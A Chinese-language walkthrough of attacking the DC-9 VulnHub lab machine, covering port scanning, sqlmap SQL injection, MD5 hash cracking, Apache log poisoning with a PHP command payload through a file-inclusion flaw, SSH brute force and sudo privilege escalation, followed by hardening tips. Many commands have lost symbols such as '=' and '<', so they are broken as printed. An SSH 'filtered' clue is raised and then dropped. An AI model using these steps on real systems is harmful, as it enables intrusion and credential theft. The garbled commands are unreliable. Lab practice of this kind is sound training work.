DC-9靶机渗透测试:SQL注入与LFI漏洞实战
1. DC-9靶机渗透测试实战全记录上周在VulnHub上刷到了DC-9这个靶机看描述是个中等难度的Linux环境渗透测试挑战。作为安全从业者我花了两个晚上完成了从信息收集到提权的完整过程过程中遇到了几个有意思的坑点。这篇笔记会详细记录整个渗透流程特别是一些非常规突破方式的实战心得。这个靶机设计得挺巧妙融合了SQL注入、文件包含、密码爆破等多个常见漏洞点最后提权阶段还需要点小技巧。我用的是Kali 2023.3版本工具链主要是nmap、Burp Suite、sqlmap和hydra这些老伙计。下面就从信息收集开始一步步拆解这个渗透测试案例。2. 环境准备与初始侦查2.1 靶机网络配置首先把DC-9的OVA文件导入VirtualBox网络模式选择Host-only。我的Kali攻击机IP自动分配到了192.168.56.102用arp-scan快速定位靶机arp-scan -l --interfacevboxnet0发现靶机在192.168.56.104这个IP会在后续所有操作中作为目标地址。建议先做个静态绑定避免重启后IP变化echo 192.168.56.104 dc-9 | sudo tee -a /etc/hosts2.2 端口扫描与服务识别上nmap做全端口扫描参数设置得比较保守以防触发防护nmap -sS -T4 -p- 192.168.56.104扫描结果显示开放了22(ssh)和80(http)两个端口。进一步做服务版本探测nmap -sV -sC -O -p22,80 192.168.56.104关键发现Apache/2.4.38 (Debian)SSH服务版本显示被过滤这是个伏笔操作系统可能是Debian Linux3. Web应用渗透测试3.1 网站目录枚举用gobuster跑目录扫描字典用自带的directory-list-2.3-medium.txtgobuster dir -u http://192.168.56.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt发现几个关键路径/admin302重定向到login.php/manage需要认证/footer.php存在LFI漏洞入口点/search.php存在SQL注入3.2 SQL注入漏洞利用search.php的搜索功能存在报错注入直接上sqlmapsqlmap -u http://192.168.56.104/search.php --data searchtest --risk3 --level5 --dbs成功获取数据库信息数据库名Staff表名Users包含username/password关键字段Username, Password密码是md5加密的用john破解john --formatraw-md5 --wordlist/usr/share/wordlists/rockyou.txt hashes.txt破解出几个弱密码包括admin:admin123这种经典组合。3.3 后台突破与文件包含用获得的凭证登录/manage页面发现文件上传功能。尝试上传php webshell时被过滤但可以通过LFI结合日志注入绕过修改User-Agent为PHP代码?php system($_GET[cmd]); ?通过footer.php包含日志文件http://192.168.56.104/footer.php?file/var/log/apache2/access.log添加cmd参数执行命令cmdid成功获取www-data权限的shell。4. 权限提升路径4.1 横向移动在/var/www/html目录下发现config.php内含数据库凭证$DB_HOST localhost; $DB_USER dbuser; $DB_PASS password123; $DB_NAME Staff;用这些凭证登录MySQL发现Users表中有更多系统用户凭证。整理出可能的SSH登录组合。4.2 SSH爆破与限制绕过尝试用hydra爆破SSH时发现速率限制改用medusa并设置延迟medusa -h 192.168.56.104 -u janitor -P passwords.txt -M ssh -t 2 -T 2成功获得janitor账户权限但只是个普通用户。4.3 sudo权限滥用运行sudo -l发现可以无密码执行/opt/devstuff/test.py检查这个文件#!/usr/bin/python3 import os os.system(/bin/bash)直接sudo执行即可提权到rootsudo /opt/devstuff/test.py5. 渗透测试中的难点与技巧5.1 非常规LFI利用这个靶机的LFI不像常规的包含/etc/passwd而是要通过污染日志文件实现RCE。几个关键点必须知道Apache日志路径默认为/var/log/apache2/access.log需要写权限或能控制请求头注意日志编码问题有时需要多次尝试5.2 MySQL UDF提权失败处理最初尝试通过MySQL写UDF提权但发现lib_mysqludf_sys.so不存在secure_file_priv限制写入路径编译so文件需要gcc环境这时候要灵活转向其他提权路径比如查找sudo权限或SUID程序。5.3 隐蔽的密码复用从数据库提取的密码虽然加密但存在复用情况Web后台密码与系统账户相同数据库密码与某些服务密码相同密码修改历史保留在.bash_history中建议任何时候获得凭证都要尝试多场景复用。6. 安全加固建议基于这次渗透测试发现的问题给管理员几点建议Web应用层面对用户输入做严格过滤避免直接拼接SQL查询限制文件包含的路径系统层面避免sudo无密码执行定期更新软件版本配置适当的日志权限密码策略强制使用复杂密码禁止密码复用定期更换凭证这个靶机整体难度中等偏上设计得很有层次感。最耗时的部分其实是最后的提权需要仔细检查各种可能性。建议新手可以按照这个流程多练习几次对实战渗透能力的提升很有帮助。